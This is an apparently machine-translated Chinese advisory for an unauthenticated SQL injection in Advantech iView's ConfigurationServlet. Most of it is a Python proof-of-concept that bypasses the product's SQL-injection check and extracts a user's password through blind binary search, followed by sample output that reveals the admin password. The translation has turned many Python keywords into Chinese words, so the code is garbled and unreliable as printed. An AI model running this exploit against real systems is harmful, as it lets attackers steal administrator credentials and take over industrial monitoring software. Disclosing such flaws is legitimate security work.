一个SQL注入漏洞Advantech iView 5.7.04.6469。
ConfigurationServlet端点中的特定缺陷存在,默认侦听TCP端口8080。一个未经身份验证的远程攻击者可以制定特殊column_valuesetConfiguration行动绕过检查参数com.imc.iview.utils.CUtils.checkSQLInjection ()执行SQL注入。例如,攻击者可以利用这个安全漏洞来检索iView管理员密码。
概念验证脚本:
导入系统,argparse,要求备注说明= ' Advantech iView setConfiguration SQL注入(用户密码检索)解析器= argparse。ArgumentParser(描述=备注说明,formatter_class = argparse.RawTextHelpFormatter) =要求解析器。add_argument_group(必需的参数)。add_argument (“t”,“——目标”,要求= True,帮助=目标主机/ IP)解析器。add_argument (“p”,“——港口”,= int类型,默认= 8080,帮助=“Advantech iView端口,默认值:%(默认)年代)解析器。add_argument (' - u ',”——用户”,默认=“admin”,帮助=“Advantech iView检索用户的密码,默认值:%(默认)年代)参数= parser.parse_args主机= args ()。目标端口=参数。港口用户=参数。用户的url = ' http:// {}: {} / iView3 ConfigurationServlet”。格式(主机、端口)def get_passwd_len():我的范围(61):sqli = "(选择如果(长度(选择'strUserPassword从(user_table) / * !* / strUserName = " +用户+))= " + str (i) + ", 0, 99999999999999999))“data = {“page_action_type”:“setConfiguration”,“column_name”:“nUseCustomDescription”,“column_value”: sqli} r =请求。帖子(url, data =数据)如果配置更新成功的r。文字:返回我返回1 def测试(pos op, v): sqli = "(如果(ASCII (SUBSTRING(选择(选择'strUserPassword从(user_table) / * !* / strUserName = " +用户+”),“+ str (pos) + 1))" + op + " " + str (v) +”, 0, 99999999999999999))“data = {“page_action_type”:“setConfiguration”,“column_name”:“nUseCustomDescription”、“column_value”: sqli} r =请求。帖子(url, data =数据)#打印(sqli) #打印(r.text)如果“配置更新成功”r。文本:其他返回True:返回False def bsearch (pos、低、高):#打印(“{},{}”。格式(低,高))如果高> =低:中期=(高+低)/ / 2如果测试(pos、‘=’中):返回对应(中期)elif测试(pos,“>”,中期):返回bsearch (pos、中期+ 1、高):返回bsearch (pos、低,中期1):返回没有打印(“把密码长度为用户“{}”…“.format(用户)pw_len = get_passwd_len()如果pw_len > = 3:打印(用户的密码长度“{}”是{}”。其他格式(用户、pw_len)):系统。exit('Failed to get password length for user "{}"'.format(user)) print('Getting password for user "{}"...'.format(user)) print('Password for user "{}" is '.format(user), end='') for pos in range(1, pw_len + 1): ch = bsearch(pos, 32, 127) if ch != None: print(ch, end='') else: print('Failed to get character at position {} of the password'.format(pos)) print()
概念验证执行:
# python3 advantech_iview_setConfiguration_sqli。py - t <目标主机> 8080 - p - u '管理'得到密码长度为用户“admin”……密码长度为用户“admin”是12得到密码用户“admin”……为用户“admin”Password123密码!